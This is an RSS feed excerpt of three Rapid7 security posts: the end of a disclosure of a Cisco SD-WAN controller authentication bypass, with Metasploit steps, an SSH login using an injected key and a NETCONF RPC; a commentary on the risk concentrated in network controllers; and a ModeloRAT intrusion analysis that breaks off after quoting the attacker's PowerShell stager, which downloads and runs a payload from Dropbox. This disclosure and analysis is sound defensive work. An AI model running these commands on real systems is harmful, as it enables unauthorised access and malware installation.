data-type='inlineCode'>“\n”</span></span><span style='font-size: undefined;'> ensures correct appending regardless of whether the existing </span><span style='font-size: undefined;'><span data-type='inlineCode'>authorized_keys</span></span><span style='font-size: undefined;'> file ends with a newline. The null byte terminates the string for </span><span style='font-size: undefined;'><span data-type='inlineCode'>fputs()</span></span><span style='font-size: undefined;'>, and the remainder is zero-padded to fill the 768-byte buffer.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Any authenticated peer, regardless of device type, can inject SSH keys into the </span><span style='font-size: undefined;'><span data-type='inlineCode'>vmanage-admin</span></span><span style='font-size: undefined;'> user's </span><span style='font-size: undefined;'><span data-type='inlineCode'>authorized_keys</span></span><span style='font-size: undefined;'> file on vSmart. The </span><span style='font-size: undefined;'><span data-type='inlineCode'>vmanage-admin</span></span><span style='font-size: undefined;'> user is a specific internal, high-privileged service account used for automated communication between the management plane (vManage) and the control plane (vSmart/vBond). This converts a transient control-plane peering session into persistent, credential-independent high-privileged access.</span></p><h2 style="direction: ltr;">Exploitation</h2><p style="direction: ltr;"><span style='font-size: undefined;'>In this example we will use the exploit developed by Rapid7 Labs and target a Cisco Catalyst SD-WAN Controller which has an IP address of 192.168.80.11. In our example, both the vdaemon service and the NETCONF service are bound to the same interface. The attacker will have an IP address of 192.168.80.130. In our example, the target Cisco Catalyst SD-WAN Controller appliance is running version 20.12.6.1, which was the </span><a href="https://www.cisco.com/c/en/us/td/docs/routers/sdwan/release/notes/controllers-20-12/rel-notes-controllers-20-12.html" target="_blank"><span style='font-size: undefined;'>latest available version</span></a><span style='font-size: undefined;'> of the 20.12.* branch at the time of writing.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To begin, the attacker loads the </span><a href="https://github.com/rapid7/metasploit-framework/pull/21463" target="_self"><span style='font-size: undefined;'>module</span></a><span style='font-size: undefined;'> in Metasploit and configures the required options.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt10ac6055852a0df2/6a04b7c97354eb565df0b82f/metasploit-module-options-cisco-sdwan-vhub-auth-bypass.png" alt="metasploit-module-options-cisco-sdwan-vhub-auth-bypass.png" caption="Figure 1: Metasploit module options for cisco_sdwan_vhub_auth_bypass" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="metasploit-module-options-cisco-sdwan-vhub-auth-bypass.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt10ac6055852a0df2/6a04b7c97354eb565df0b82f/metasploit-module-options-cisco-sdwan-vhub-auth-bypass.png" data-sys-asset-uid="blt10ac6055852a0df2" data-sys-asset-filename="metasploit-module-options-cisco-sdwan-vhub-auth-bypass.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Metasploit module options for cisco_sdwan_vhub_auth_bypass" data-sys-asset-alt="metasploit-module-options-cisco-sdwan-vhub-auth-bypass.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1: Metasploit module options for cisco_sdwan_vhub_auth_bypass</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The module will perform the authentication bypass and then inject an attacker controlled SSH public key into the authorized keys file for the </span><span style='font-size: undefined;'><span data-type='inlineCode'>vmanage-admin</span></span><span style='font-size: undefined;'> user. The module will generate a new RSA key-pair prior to exploitation, so that the attacker will inject a public key for which they have the corresponding private key.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker then sets the target and runs the module.</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="shell-session">msf6 auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) &gt; set RHOSTS 192.168.80.11
msf6 auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) &gt; run</pre><p style="direction: ltr;">⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8e5c072688e3578f/6a04b854c672242154888f52/vhub-authentication-bypass-ssh-key-injection.png" alt="vhub-authentication-bypass-ssh-key-injection.png" caption="Figure 2: Module output showing the vHub authentication bypass and SSH key injection" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="vhub-authentication-bypass-ssh-key-injection.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8e5c072688e3578f/6a04b854c672242154888f52/vhub-authentication-bypass-ssh-key-injection.png" data-sys-asset-uid="blt8e5c072688e3578f" data-sys-asset-filename="vhub-authentication-bypass-ssh-key-injection.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: Module output showing the vHub authentication bypass and SSH key injection" data-sys-asset-alt="vhub-authentication-bypass-ssh-key-injection.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 2: Module output showing the vHub authentication bypass and SSH key injection</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker can now SSH into the NETCONF service over TCP port 830 by running the following command (as instructed by the exploit above).</span></p><p style="direction: ltr;"><span style='color:rgb(197, 34, 31);font-size: undefined;'></span></p><pre language="shell-session">ssh -i /home/cryptocat/.msf4/loot/20260501115947_default_192.168.80.11_cisco.sdwan.sshk_491665.pem vmanage-admin@192.168.80.11 -p 830</pre><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>SSH public key authentication will succeed, and the attacker will have successfully established a connection to the NETCONF service.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt188407745635ce54/6a04bad8858e72fcb817ab91/ssh-connection-to-NETCONF-service.png" alt="ssh-connection-to-NETCONF-service.png" caption="Figure 3: Successful SSH connection to the NETCONF service as vmanage-admin" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="ssh-connection-to-NETCONF-service.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt188407745635ce54/6a04bad8858e72fcb817ab91/ssh-connection-to-NETCONF-service.png" data-sys-asset-uid="blt188407745635ce54" data-sys-asset-filename="ssh-connection-to-NETCONF-service.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Successful SSH connection to the NETCONF service as vmanage-admin" data-sys-asset-alt="ssh-connection-to-NETCONF-service.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 3: Successful SSH connection to the NETCONF service as vmanage-admin</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>At this point the attacker can begin to execute arbitrary NETCONF commands, for example the following “get-config” command can be run by the attacker in the NETCONF session.</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"&gt;&lt;capabilities&gt;&lt;capability&gt;urn:ietf:params:netconf:base:1.0&lt;/capability&gt;&lt;/capabilities&gt;&lt;/hello&gt;]]&gt;]]&gt;&lt;rpc message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"&gt;&lt;get-config&gt;&lt;source&gt;&lt;running/&gt;&lt;/source&gt;&lt;/get-config&gt;&lt;/rpc&gt;]]&gt;]]&gt;</pre><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The output of the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>get-config</span><span style='font-size: undefined;'> command is shown below.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5bbb35c1dc9d9a9e/6a04bb39aa1d13b2fbcb537a/NETCONF-get-config-output.png" alt="NETCONF-get-config-output.png" caption="Figure 4: NETCONF get-config output from the compromised controller" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="NETCONF-get-config-output.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5bbb35c1dc9d9a9e/6a04bb39aa1d13b2fbcb537a/NETCONF-get-config-output.png" data-sys-asset-uid="blt5bbb35c1dc9d9a9e" data-sys-asset-filename="NETCONF-get-config-output.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: NETCONF get-config output from the compromised controller" data-sys-asset-alt="NETCONF-get-config-output.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 4: NETCONF get-config output from the compromised controller</figcaption></div></figure><h2 style="direction: ltr;">Remediation</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Customers are advised to upgrade to an appropriate fixed software release as indicated in the Fixed Software section of the Cisco Security Advisory. The following tables indicate the appropriate fixed software releases.</span></p><p></p><table><colgroup data-width='698'><col style="width:48.42406876790831%"/><col style="width:51.57593123209169%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Cisco Catalyst SD-WAN Release</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>First Fixed Release</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Earlier than 20.9*</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Migrate to a fixed release</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.9</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.9.9.1</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.10</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.12.7.1</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.11*</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.12.7.1</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.12</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.12.5.4, 20.12.6.2, 20.12.7.1</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.13*</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.15.5.2</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.14*</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.15.5.2</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.15</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.15.4.4, 20.15.5.2</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.16*</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.18.2.2</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.18</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>20.18.2.2</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>26.1.1</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>26.1.1.1</span></p></td></tr></tbody></table><p style="direction: ltr;"><span style='font-size: undefined;'><em>*These releases have reached the </em></span><a href="https://www.cisco.com/c/en/us/products/routers/sd-wan/eos-eol-notice-listing.html" target="_blank"><span style='font-size: undefined;'><em>end of software maintenance</em></span></a><span style='font-size: undefined;'><em>. Cisco strongly encourages customers to upgrade to a </em></span><a href="https://www.cisco.com/c/en/us/td/docs/routers/sdwan/release/notes/compatibility-and-server-recommendations.html" target="_blank"><span style='font-size: undefined;'><em>supported release</em></span></a><span style='font-size: undefined;'><em>.</em></span></p><p><br/><span style='font-size: undefined;'>For additional details, please see the vendor </span><a href="https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW" target="_blank"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Vendor statement</h2><p style="direction: ltr;"><span style='font-size: undefined;'><em>"Cisco values the role of the security research community in helping maintain a secure ecosystem and we appreciate the collaboration with Rapid7. We have released a software update to remediate the identified vulnerability. We remain committed to transparent communication and to providing our customers with the robust security and resilience they expect."</em></span></p><h2 style="direction: ltr;">Rapid7 customers</h2><p>Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2026-20182 with an authenticated vulnerability check expected to be available in the May 14th, 2026 content release.</p><h2 style="direction: ltr;">Credit</h2><p style="direction: ltr;"><span style='font-size: undefined;'>This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher, and Jonah Burgess, Senior Security Researcher, both at Rapid7 and is being disclosed in accordance with Rapid7’s </span><a href="/security/disclosure" target="_self"><span style='font-size: undefined;'>vulnerability disclosure policy</span></a><span style='font-size: undefined;'>.</span></p><h2>Disclosure timeline</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>March 9, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 makes initial outreach to Cisco who confirms contact the same day. Rapid7 discloses the technical writeup and exploit code to Cisco.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>March 11, 2026:</strong></span><span style='font-size: undefined;'> Cisco confirms receipt of the technical writeup and exploit code and suggests a disclosure date of May 7, 2026.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>March 20, 2026:</strong></span><span style='font-size: undefined;'> Cisco confirms the vulnerability findings, and that a CVE will be reserved.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>April 21, 2026:</strong></span><span style='font-size: undefined;'> Cisco provides reserved CVE identifier and remediation guidance.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>April 24, 2026:</strong></span><span style='font-size: undefined;'> Cisco provides remediation version numbers, alignment on CWE and CVSS scoring, and requests moving disclosure date to May 14.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>May 14, 2026:</strong></span><span style='font-size: undefined;'> This disclosure.</span></p></li></ul><h2 style="direction: ltr;">Updates</h2><ul><li><span style='font-size: undefined;'><strong>May 15, 2026:</strong></span><span style='font-size: undefined;'> Added link to the Metasploit module.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed</link>
      <guid isPermaLink="false">bltc12969d6fc83e5d4</guid>
      <category><![CDATA[Vulnerability Disclosure]]></category>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Labs]]></category><dc:creator><![CDATA[Jonah Burgess]]></dc:creator>
      <pubDate>Thu, 14 May 2026 16:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[The Dark Side of Efficiency: When Network Controllers Become "God Mode" for Attackers]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Imagine you build a massive corporate campus with every security control money can buy. Blast resistant doors. Biometric scanners. Guards at every entrance. Maybe something similar to the infamous Death Star. On paper, it looks fantastic. Then, somewhere along the way, somebody decides the maintenance team needs a universal key that opens every door in the building without setting off any alarms.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>That certainly makes operations easier, but it also means one mistake, one compromise (like a well placed photon torpedo), or one very bad decision can unravel the whole thing.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>That is basically the problem we keep running into in modern enterprise networking.</span></p><h2 style="direction: ltr;">Why SD-WAN controllers create concentrated risk</h2><p style="direction: ltr;"><span style='font-size: undefined;'>This week, Rapid7 researchers Stephen Fewer and Jonah Burgess </span><a href="/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed" target="_self"><span style='font-size: undefined;'>disclosed CVE-2026-20182</span></a><span style='font-size: undefined;'>, a maximum severity (CVSS 10.0) vulnerability in the Cisco Catalyst SD-WAN Controller. The technical details matter, and quite a bit, at that, but the bigger lesson here is even more important. This bug is a reminder that we keep designing infrastructure for efficiency first and then acting surprised when attackers go after the one component that controls everything.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To put it simply, the flaw behaves like a master key. An attacker can present themselves to the controller as a trusted network router and, if the system accepts that claim without properly validating it, they can obtain the highest level of administrative access. That is the cybersecurity version of a Jedi mind trick. The controller is effectively told to trust something it has no business trusting, as if an attacker waves a hand and says, “</span><span style='font-size: undefined;'><em>these are not the droids you are looking for</em></span><span style='font-size: undefined;'>”. And with CVE-2026-20182, the controller just nods and lets them pass.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>And that becomes extremely important when you look at how these environments are built.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>A decade ago, managing a global enterprise network meant touching thousands of individual routers across branch locations. It was slow, error-prone, and frankly a little miserable for the people responsible for keeping it all running. So the industry did what the industry usually does. We centralized control. We pulled the decision-making out of all those edge devices and moved it into a central controller.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>From an operations standpoint, that was a huge win. I will gladly give credit where it is due. SD-WAN solved real problems.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>It also created a very attractive target.</span></p><h2 style="direction: ltr;">Why central management platforms are attractive targets</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Once you move the brains of the operation into a single place, that place becomes the thing an attacker wants most. Compromising one branch router is useful. Compromising the controller that manages the entire estate is a very different conversation. Now you are talking about the ability to reroute traffic, intercept communications, push malicious configuration, or simply break connectivity across the whole organization.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>That is the real paradox here. The same architecture that gives defenders scale and simplicity can also give attackers a single point of catastrophic leverage.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>A few years ago, finding and exploiting a quiet authentication bypass in a core networking appliance was mostly the work of highly capable nation-state teams. That is not the world we live in anymore, especially as </span><a href="/blog/post/ai-what-project-glasswing-means-for-security-leaders" target="_self"><span style='font-size: undefined;'>AI makes exploitation faster</span></a><span style='font-size: undefined;'> to analyze, adapt, and operationalize. The reality of it is that offensive tradecraft does not stay exclusive for very long. It gets copied, adapted, automated, and eventually handed down to groups with very different goals.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For nation-state operators, a bug like this (as seen with the actively exploited </span><a href="/blog/post/etr-critical-cisco-catalyst-vulnerability-exploited-in-the-wild-cve-2026-20127" target="_self"><span style='font-size: undefined;'>CVE-2026-20127</span></a><span style='font-size: undefined;'>) is ideal for pre positioning. They are usually not looking for a smash and grab. They want persistence. They want access that blends in. They want to sit in the right place long enough to observe, influence, and pivot when the time is right. An SD-WAN controller is a great place to do that, because it lives in the middle of trust relationships most organizations rarely question.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For ransomware groups, the value proposition is even more obvious. If you can compromise central infrastructure, you do not have to fight for access to one system at a time. You are standing on the control plane of the enterprise, facing a dramatically lower barrier to initial access and large-scale disruption.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Now, to be fair, not every bug turns into internet wide exploitation overnight and not every vulnerability becomes a one click offensive toolkit. We should avoid sensationalizing that part. But we should also be honest about where the pressure is today. Attackers have become very good at turning central infrastructure weaknesses into high impact operations.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>What defenders should do now</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>First, bugs like this are going to happen again. As long as we keep building extremely complex systems to manage global infrastructure, there will be flaws. That is not cynicism. That is just reality.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Second, organizations need to stop assuming that trusted administrative systems are inherently safe just because they sit in the middle of the network and have important sounding names. If your controller is compromised, what happens next? What can it reach? What can it change? How much of the enterprise can it influence without another human ever noticing?</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>That blast radius question is the one that matters.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Defending against this kind of problem requires more than patching, even though patching absolutely needs to happen. It means building environments that can survive the compromise of a critical management system. Network segmentation matters. Monitoring administrative traffic matters, whether that is handled internally or through an </span><a href="/services/managed-detection-and-response-mdr" target="_self"><span style='font-size: undefined;'>MDR provider</span></a><span style='font-size: undefined;'> that can help catch suspicious behavior before it turns into a much larger problem. Tight control over outbound communications from infrastructure devices matters. So does limiting which systems are allowed to talk to the controller in the first place.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In other words, we need to design with the assumption that even high trust infrastructure can fail in ugly ways.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The immediate guidance for defenders is straightforward: apply the vendor supplied patches for Cisco Catalyst SD-WAN Controllers as quickly as possible. That is the first move, not the last one.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The longer term lesson for leadership is bigger than this one vulnerability. Efficiency is great right up until it creates unquestioned authority in a single device or platform. When that happens, you have not removed complexity. You have concentrated risk.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>And attackers have noticed.</span></p><p><span style='font-size: undefined;'><em>Register for Rapid7’s upcoming webinar on CVE-2026-20182 </em></span><a href="https://www.brighttalk.com/webcast/10457/668367?utm_source=blog&amp;utm_medium=website&amp;utm_content=efficiency-trap-webinar&amp;utm_campaign=global-pla-cisco-media-blog-prospect-eng" target="_blank"><span style='font-size: undefined;'><em>here</em></span></a><span style='font-size: undefined;'><em>.</em></span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-efficiencys-dark-side-network-controllers-in-god-mode-attackers-sd-wan</link>
      <guid isPermaLink="false">blt3f01705e2f95d493</guid>
      <category><![CDATA[Research]]></category><dc:creator><![CDATA[Douglas McKee, Director, Vulnerability Intelligence]]></dc:creator>
      <pubDate>Thu, 14 May 2026 16:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blted8cb9466d79dc4d/6852c596a274324cfbb23d9d/PSN-gov-showcase-hero-image.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[When IT Support Calls: Dissecting a ModeloRAT Campaign from Teams to Domain Compromise]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Attackers do not need to break into the front door when they can convince employees to open it for them through the tools they already trust.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In April 2026, Rapid7 investigated an enterprise intrusion that began with a Microsoft Teams message from a fake “IT Support” account and quickly escalated into a full compromise chain involving malware deployment, privilege escalation, credential theft, lateral movement, and exfiltration. The incident illustrates a critical risk for modern enterprises: Collaboration platforms have become part of the attack surface, and when combined with identity abuse and Living-off-the-Land techniques, they can provide attackers with a low-friction path into the environment.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Therefore, this attack was particularly concerning due to the way the intrusion shifted from endpoint compromise to broader identity-driven risk. And while it was not surprising that the attacker used a novel technique, what </span><span style='font-size: undefined;'><em>was</em></span><span style='font-size: undefined;'> concerning was how the attacker was able to chain together familiar enterprise weaknesses into a fast-moving and operationally effective intrusion.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>By abusing Teams external access, the threat actor delivered a Dropbox-hosted Python payload that established command-and-control, deployed multiple backdoors, and began mapping the internal environment. The attacker then escalated privileges to SYSTEM using CVE-2023-36036 before deploying a fake Windows lock screen designed to harvest the user’s domain password.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Once valid credentials were obtained, the intrusion shifted from endpoint compromise to broader identity-driven risk. The attacker moved laterally to a second host, used legitimate tooling such as DumpIt to collect system memory, which was likely exfiltrated via an anonymous file-sharing service. This progression underscores a key reality for defenders: Once collaboration, identity, and endpoint controls are bypassed or weakened, attackers can rapidly convert initial access into meaningful enterprise exposure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7’s technical analysis linked the Python malware to ModeloRAT, a framework previously documented by multiple security vendors in browser extension campaigns and associated with the KongTuke group. More broadly, this intrusion demonstrates how trusted communication channels, Living-off-the-Land techniques, and credential-focused tradecraft continue to challenge traditional security controls. The takeaways here are clear:</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>For CISOs:</strong></span><span style='font-size: undefined;'> Collaboration tools are part of your attack surface. Attackers used Teams to reach users directly. Security, identity protection, endpoint visibility, and rapid detection engineering must be treated as connected parts of the same defense strategy, not separate control domains.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>For defenders:</strong></span><span style='font-size: undefined;'> Old vulnerabilities and trusted tools still work. The attack combined a patched vulnerability (CVE-2023-36036) with widely trusted tools like Python, PowerShell, and Dropbox. None of these are unusual in enterprise environments, which is precisely what allowed the attacker to blend in while moving quickly. It’s an obvious restatement, but external access should always be controlled and monitored. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The challenge isn’t identifying one suspicious event; it’s recognizing when normal activity starts to form a pattern, and acting before that pattern turns into widespread exposure.</span></p><h3>Rapid7 coverage</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 has coverage for this campaign across both intelligence and detection workflows. The campaign is available in Rapid7’s </span><a href="/platform/threat-intelligence-tip" target="_self"><span style='font-size: undefined;'>Intelligence Hub</span></a><span style='font-size: undefined;'>, providing customers with curated context, indicators, and threat actor tradecraft to support awareness, investigation, and prioritization. Relevant detections are also available in InsightIDR, helping security teams identify activity associated with this intrusion pattern across their environments.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a947872f4b8cc65/6a0492db06f01ae81f4cdb1a/ModeloRAT-attack-chain-teams-payload.png" alt="ModeloRAT-attack-chain-teams-payload.png" caption="Figure 1: Attack chain from Teams phishing to payload delivery, ModeloRAT execution, privilege escalation, and lateral movement with exfiltration." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="ModeloRAT-attack-chain-teams-payload.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a947872f4b8cc65/6a0492db06f01ae81f4cdb1a/ModeloRAT-attack-chain-teams-payload.png" data-sys-asset-uid="blt8a947872f4b8cc65" data-sys-asset-filename="ModeloRAT-attack-chain-teams-payload.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Attack chain from Teams phishing to payload delivery, ModeloRAT execution, privilege escalation, and lateral movement with exfiltration." data-sys-asset-alt="ModeloRAT-attack-chain-teams-payload.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1: Attack chain from Teams phishing to payload delivery, ModeloRAT execution, privilege escalation, and lateral movement with exfiltration.</figcaption></div></figure><h2>A door that was never closed</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The intrusion started with abuse of Microsoft Teams external access. This feature, enabled by default in some environments, allows users in one tenant to initiate direct chats with users in another. In our incident, the attacker used a newly created tenant </span><span style='font-size: undefined;'><span data-type='inlineCode'><em>UCICasociacion.onmicrosoft[.]com</em></span></span><span style='font-size: undefined;'> to impersonate “IT Support” and messaged a targeted employee.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This approach mirrors tradecraft seen in Octo Tempest-style campaigns. Octo Tempest (alias Scattered Spider, UNC3944, 0ktapus) is a financially motivated cybercriminal group active since 2022, known for aggressive social engineering tactics including helpdesk impersonation, SIM swapping, and MFA manipulation. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Shortly after the interaction, a hidden PowerShell command executed on the victim’s machine, staging the initial payload.</span></p><h2 style="direction: ltr;">Stager: Bring your own Python</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Within minutes of the Teams interaction, a PowerShell stager executed on the endpoint and reached out to Dropbox to retrieve a ZIP archive (</span><span style='font-size: undefined;'><span data-type='inlineCode'>Winp.zip</span></span><span style='font-size: undefined;'>) into the user’s AppData directory.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The archive was immediately extracted and deleted, likely to reduce on-disk artifacts and avoid potentially raising suspicion.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The payload contained a portable WinPython environment, which the attacker used to launch the next stage:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>collector.py</span></span><span style='font-size: undefined;'> (reconnaissance)</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>Pmanager.py</span></span><span style='font-size: undefined;'> (primary C2 agent, Modelo RAT)</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Execution was handled via </span><span style='font-size: undefined;'><span data-type='inlineCode'>pythonw.exe</span></span><span style='font-size: undefined;'>, which allowed the script to </span>run in the background without showing the terminal window.</p><p style="direction: ltr;"><span style='color:rgb(197, 34, 31);font-size: undefined;'></span></p><pre language="python">iwr -Uri "https://www.dropbox[.]com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" -OutFile "$env:appdata\Winp.zip"; 
Expand-Archive -Path "$env:appdata\Winp.zip" -DestinationPath "$env:appdata"; 
rm "$env:appdata\Winp.zip"; 
Start-Sleep -Seconds 5; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\collector.py; 
Start-Sleep -Seconds 30; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\Pmanager.py; 
